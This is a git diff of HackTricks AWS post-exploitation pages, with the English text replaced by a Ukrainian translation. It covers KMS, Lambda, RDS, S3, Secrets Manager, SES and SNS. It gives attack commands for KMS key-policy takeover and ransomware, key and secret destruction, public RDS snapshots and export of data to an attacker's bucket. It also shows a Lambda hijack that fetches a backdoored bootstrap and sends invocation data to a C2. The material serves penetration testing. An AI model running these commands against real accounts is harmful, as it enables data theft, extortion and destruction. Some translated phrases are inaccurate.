policy **allows all AWS** to assume the role. - -#### Service as principal - +#### Служба як основний ```json { - "Action": "lambda:InvokeFunction", - "Effect": "Allow", - "Principal": { "Service": "apigateway.amazonaws.com" }, - "Resource": "arn:aws:lambda:000000000000:function:foo" +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" } ``` +Ця політика **дозволяє будь-якому обліковому запису** налаштувати свій apigateway для виклику цього Lambda. -This policy **allows any account** to configure their apigateway to call this Lambda. - -#### S3 as principal - +#### S3 як принципал ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, - "StringEquals": { - "aws:SourceAccount": "123456789012" - } +"StringEquals": { +"aws:SourceAccount": "123456789012" +} } ``` +Якщо S3 бакет вказано як принципал, оскільки S3 бакети не мають ідентифікатора облікового запису, якщо ви **видалили свій бакет, а зловмисник створив** його у своєму обліковому записі, тоді він міг би це зловживати. -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. - -#### Not supported - +#### Не підтримується ```json { - "Effect": "Allow", - "Principal": { "Service": "cloudtrail.amazonaws.com" }, - "Action": "s3:PutObject", - "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` - -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). +Звичайний спосіб уникнути проблем з Confused Deputy - це використання умови з `AWS:SourceArn` для перевірки вихідного ARN. Однак, **деякі сервіси можуть цього не підтримувати** (як CloudTrail, згідно з деякими джерелами). ## References - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 482af5425..defaa39ef 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,137 +1,125 @@ -# AWS - KMS Post Exploitation +# AWS - KMS Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## KMS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### Шифрування/Розшифрування інформації -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` та `file://` є схемами URI, які використовуються в командах AWS CLI для вказівки шляху до локальних файлів: -- `fileb://:` Reads the file in binary mode, commonly used for non-text files. -- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements. +- `fileb://:` Читає файл у бінарному режимі, зазвичай використовується для небінарних файлів. +- `file://:` Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, які не мають спеціальних вимог до кодування. > [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key +> Зверніть увагу, що якщо ви хочете розшифрувати деякі дані всередині файлу, файл повинен містити бінарні дані, а не дані, закодовані в base64. (fileb://) +- Використовуючи **симетричний** ключ ```bash # Encrypt data aws kms encrypt \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - -- Using a **asymmetric** key: - +- Використання **асиметричного** ключа: ```bash # Encrypt data aws kms encrypt \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - ### KMS Ransomware -An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account. +Атакуючий з привілейованим доступом до KMS може змінити політику KMS ключів і **надати своєму обліковому запису доступ до них**, видаливши доступ, наданий легітимному обліковому запису. -Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account. +Тоді користувачі легітимного облікового запису не зможуть отримати доступ до будь-якої інформації будь-якої служби, яка була зашифрована цими ключами, створюючи простий, але ефективний програмний забезпечення-вимагач для облікового запису. > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> Зверніть увагу, що **керовані AWS ключі не підлягають** цій атаці, лише **керовані клієнтом ключі**. +> Також зверніть увагу на необхідність використання параметра **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції в веб-консолі робить цю атаку можливою лише з CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ - --policy-name default \ - --policy file:///tmp/policy.yaml \ - --bypass-policy-lockout-safety-check +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check { - "Id": "key-consolepolicy-3", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**. +> Зверніть увагу, що якщо ви зміните цю політику і надасте доступ лише зовнішньому обліковому запису, а потім з цього зовнішнього облікового запису спробуєте встановити нову політику, щоб **повернути доступ до оригінального облікового запису, ви не зможете**.
-### Generic KMS Ransomware +### Загальний KMS Ransomware -#### Global KMS Ransomware +#### Глобальний KMS Ransomware -There is another way to perform a global KMS Ransomware, which would involve the following steps: +Існує інший спосіб виконати глобальний KMS Ransomware, який включатиме наступні кроки: -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data - -### Destroy keys +- Створити новий **ключ з матеріалом ключа**, імпортованим зловмисником +- **Зашифрувати старі дані** знову, зашифровані попередньою версією, новою. +- **Видалити KMS ключ** +- Тепер лише зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані +### Знищити ключі ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ - --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ - --pending-window-in-days 7 +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 ``` - > [!CAUTION] -> Note that AWS now **prevents the previous actions from being performed from a cross account:** +> Зверніть увагу, що AWS тепер **запобігає виконанню попередніх дій з іншого облікового запису:**
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f25c205a..5492a1cca 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,30 +4,26 @@ ## Lambda -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Steal Others Lambda URL Requests +### Вкрасти HTTP запити інших користувачів до Lambda -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +Якщо зловмисник якимось чином зможе отримати RCE всередині Lambda, він зможе вкрасти HTTP запити інших користувачів до Lambda. Якщо запити містять чутливу інформацію (куки, облікові дані...), він зможе їх вкрасти. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### Вкрасти HTTP запити інших користувачів до Lambda та запити розширень -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в Lambda, але також красти та змінювати запити. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index bc93fe53a..ce585054b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -1,42 +1,41 @@ -# AWS - Steal Lambda Requests +# AWS - Вкрасти запити Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Flow +## Потік Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process. -2. The init process listens on port **9001** exposing some interesting endpoints: - - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event - - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke - - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error -3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**). -4. Finally, **bootstrap.py** sends to init the **response** +1. **Slicer** - це процес поза контейнером, який **надсилає** **виклики** до процесу **init**. +2. Процес init слухає на порту **9001**, відкриваючи деякі цікаві кінцеві точки: +- **`/2018-06-01/runtime/invocation/next`** – отримати наступну подію виклику +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – повернути відповідь обробника для виклику +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – повернути помилку виконання +3. **bootstrap.py** має цикл, що отримує виклики з процесу init і викликає код користувача для їх обробки (**`/next`**). +4. Нарешті, **bootstrap.py** надсилає до init **відповідь** -Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process. +Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, яке виконується кодом користувача, насправді відбувається в цьому процесі. -## Stealing Lambda Requests +## Вкрадання запитів Lambda -The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process. +Мета цієї атаки - змусити код користувача виконати шкідливий процес **`bootstrap.py`** всередині процесу **`bootstrap.py`**, який обробляє вразливий запит. Таким чином, **шкідливий bootstrap** процес почне **спілкуватися з процесом init**, щоб обробляти запити, поки **легітимний** bootstrap **потрапить** у пастку, виконуючи шкідливий, тому він не запитуватиме запити у процесу init. -This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could: +Це проста задача, оскільки код користувача виконується легітимним процесом **`bootstrap.py`**. Тому зловмисник може: -- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations. - - A request must be sent to **`/${invoke-id}/response`** - - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Execute a malicious **`boostrap.py`** which will handle the next invocations - - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual. - - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation. +- **Надіслати підроблений результат поточного виклику до процесу init**, щоб init думав, що процес bootstrap чекає на більше викликів. +- Запит має бути надісланий до **`/${invoke-id}/response`** +- invoke-id можна отримати зі стеку легітимного процесу **`bootstrap.py`**, використовуючи [**inspect**](https://docs.python.org/3/library/inspect.html) модуль python (як [пропонувалося тут](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) або просто запитуючи його знову до **`/2018-06-01/runtime/invocation/next`** (як [пропонувалося тут](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- Виконати шкідливий **`boostrap.py`**, який оброблятиме наступні виклики +- Для цілей прихованості можливо надіслати параметри викликів lambda до C2, контрольованого зловмисником, а потім обробляти запити як зазвичай. +- Для цієї атаки достатньо отримати оригінальний код **`bootstrap.py`** з системи або [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), додати шкідливий код і запустити його з поточного виклику lambda. -### Attack Steps +### Кроки атаки -1. Find a **RCE** vulnerability. -2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Execute** the malicious bootstrap. - -You can easily perform these actions running: +1. Знайти вразливість **RCE**. +2. Згенерувати **шкідливий** **bootstrap** (наприклад, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) +3. **Виконати** шкідливий bootstrap. +Ви можете легко виконати ці дії, запустивши: ```bash python3 < \ - --db-subnet-group-name \ - --publicly-accessible \ - --vpc-security-group-ids +--db-instance-identifier "new-db-not-malicious" \ +--db-snapshot-identifier \ +--db-subnet-group-name \ +--publicly-accessible \ +--vpc-security-group-ids aws rds modify-db-instance \ - --db-instance-identifier "new-db-not-malicious" \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier "new-db-not-malicious" \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # Connect to the new DB after a few mins ``` - ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot. - -If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**. +Зловмисник з цими дозволами міг би **створити знімок БД** і зробити його **публічно** **доступним**. Потім він міг би просто створити у своєму обліковому записі БД з цього знімка. +Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все ще міг би зробити **інші** створені знімки **публічними**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier --d aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` - ### `rds:DownloadDBLogFilePortion` -An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions. - +Зловмисник з дозволом `rds:DownloadDBLogFilePortion` може **завантажувати частини лог-файлів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково записуються в лог, зловмисник може потенційно використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` - -**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials. +**Потенційний вплив**: Доступ до чутливої інформації або несанкціоновані дії з використанням вкрадених облікових даних. ### `rds:DeleteDBInstance` -An attacker with these permissions can **DoS existing RDS instances**. - +Зловмисник з цими дозволами може **виконати DoS-атаку на існуючі RDS-екземпляри**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` - -**Potential impact**: Deletion of existing RDS instances, and potential loss of data. +**Потенційний вплив**: Видалення існуючих RDS екземплярів та потенційна втрата даних. ### `rds:StartExportTask` > [!NOTE] > TODO: Test -An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot. - +Зловмисник з цим дозволом може **експортувати знімок RDS екземпляра до S3 кошика**. Якщо зловмисник контролює цільовий S3 кошик, він може потенційно отримати доступ до чутливих даних у експортованому знімку. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` - -**Potential impact**: Access to sensitive data in the exported snapshot. +**Потенційний вплив**: Доступ до чутливих даних у експортованій знімці. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 16cc52f27..df48fd662 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -1,42 +1,38 @@ -# AWS - S3 Post Exploitation +# AWS - S3 Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## S3 -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### Чутлива інформація -Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets. +Іноді ви зможете знайти чутливу інформацію у доступних бакетах. Наприклад, секрети стану terraform. -### Pivoting +### Півтування -Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +Різні платформи можуть використовувати S3 для зберігання чутливих активів.\ +Наприклад, **airflow** може зберігати **код DAGs** там, або **веб-сторінки** можуть безпосередньо подаватися з S3. Зловмисник з правами запису може **змінити код** з бакета, щоб **півтувати** на інші платформи або **взяти під контроль облікові записи**, змінюючи JS файли. -### S3 Ransomware +### S3 Вимагач -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +У цьому сценарії **зловмисник створює ключ KMS (Служба управління ключами) у своєму власному обліковому записі AWS** або в іншому скомпрометованому обліковому записі. Потім він робить цей **ключ доступним для всіх у світі**, дозволяючи будь-якому користувачу, ролі або обліковому запису AWS шифрувати об'єкти, використовуючи цей ключ. Однак об'єкти не можуть бути розшифровані. -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +Зловмисник визначає цільовий **бакет S3 і отримує доступ на рівні запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію бакета, яка робить його публічно доступним, або зловмисник отримує доступ до самого середовища AWS. Зазвичай зловмисник націлюється на бакети, які містять чутливу інформацію, таку як особисто ідентифікована інформація (PII), захищена медична інформація (PHI), журнали, резервні копії тощо. -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +Щоб визначити, чи можна націлити бакет для вимагання, зловмисник перевіряє його конфігурацію. Це включає перевірку, чи **увімкнено версіонування об'єктів S3** і чи **увімкнено видалення з багатофакторною аутентифікацією (MFA delete)**. Якщо версіонування об'єктів не увімкнено, зловмисник може продовжити. Якщо версіонування об'єктів увімкнено, але видалення MFA вимкнено, зловмисник може **вимкнути версіонування об'єктів**. Якщо і версіонування об'єктів, і видалення MFA увімкнені, зловмиснику стає важче вимагати цей конкретний бакет. -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +Використовуючи API AWS, зловмисник **замінює кожен об'єкт у бакеті зашифрованою копією, використовуючи свій ключ KMS**. Це ефективно шифрує дані в бакеті, роблячи їх недоступними без ключа. -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +Щоб додати додатковий тиск, зловмисник планує видалення ключа KMS, використаного в атаці. Це дає цілі 7 днів для відновлення своїх даних до того, як ключ буде видалено, і дані стануть назавжди втраченими. -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +Нарешті, зловмисник може завантажити фінальний файл, зазвичай названий "ransom-note.txt", який містить інструкції для цілі про те, як відновити свої файли. Цей файл завантажується без шифрування, ймовірно, щоб привернути увагу цілі та зробити їх обізнаними про атаку-вимагач. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Для отримання додаткової інформації** [**перегляньте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index e59cbbaaa..8644c01c4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,42 +12,32 @@ For more information check: ### Read Secrets -The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them. +**Секрети самі по собі є чутливою інформацією**, [перегляньте сторінку privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md), щоб дізнатися, як їх читати. ### DoS Change Secret Value -Changing the value of the secret you could **DoS all the system that depends on that value.** +Змінивши значення секрету, ви можете **DoS усю систему, яка залежить від цього значення.** > [!WARNING] -> Note that previous values are also stored, so it's easy to just go back to the previous value. - +> Зверніть увагу, що попередні значення також зберігаються, тому легко повернутися до попереднього значення. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ - --secret-id MyTestSecret \ - --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` - -### DoS Change KMS key - +### DoS Зміна ключа KMS ```bash aws secretsmanager update-secret \ - --secret-id MyTestSecret \ - --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` +### DoS Видалення Секрету -### DoS Deleting Secret - -The minimum number of days to delete a secret are 7 - +Мінімальна кількість днів для видалення секрету становить 7 ```bash aws secretsmanager delete-secret \ - --secret-id MyTestSecret \ - --recovery-window-in-days 7 +--secret-id MyTestSecret \ +--recovery-window-in-days 7 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index e67a07739..f9dca7b7d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SES Post Exploitation +# AWS - SES Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## SES -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-ses-enum.md @@ -12,76 +12,56 @@ For more information check: ### `ses:SendEmail` -Send an email. - +Надіслати електронний лист. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` - -Still to test. +Ще потрібно протестувати. ### `ses:SendRawEmail` -Send an email. - +Відправити електронний лист. ```bash aws ses send-raw-email --raw-message file://message.json ``` - -Still to test. - ### `ses:SendTemplatedEmail` -Send an email based on a template. - +Надіслати електронний лист на основі шаблону. ```bash aws ses send-templated-email --source --destination --template ``` - Still to test. ### `ses:SendBulkTemplatedEmail` -Send an email to multiple destinations - +Надіслати електронний лист на кілька адрес ```bash aws ses send-bulk-templated-email --source --template ``` - Still to test. ### `ses:SendBulkEmail` -Send an email to multiple destinations. - +Надіслати електронний лист на кілька адрес. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` - ### `ses:SendBounce` -Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email. - +Відправити **повернуте електронне повідомлення** на отримане електронне повідомлення (вказуючи, що електронне повідомлення не вдалося отримати). Це можна зробити **протягом 24 годин після отримання** електронного повідомлення. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` - Still to test. ### `ses:SendCustomVerificationEmail` -This will send a customized verification email. You might need permissions also to created the template email. - +Це надішле налаштований лист для підтвердження. Вам можуть знадобитися дозволи також для створення шаблону листа. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` - -Still to test. +Ще потрібно протестувати. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index b24660ee1..3c270114e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -1,84 +1,68 @@ -# AWS - SNS Post Exploitation +# AWS - SNS Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## SNS -For more information: +Для отримання додаткової інформації: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Disrupt Messages +### Порушити Повідомлення -In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected. +У кількох випадках теми SNS використовуються для надсилання повідомлень на платформи, які моніторяться (електронна пошта, повідомлення в Slack...). Якщо зловмисник запобігає надсиланню повідомлень, які сповіщають про його присутність у хмарі, він може залишитися непоміченим. ### `sns:DeleteTopic` -An attacker could delete an entire SNS topic, causing message loss and impacting 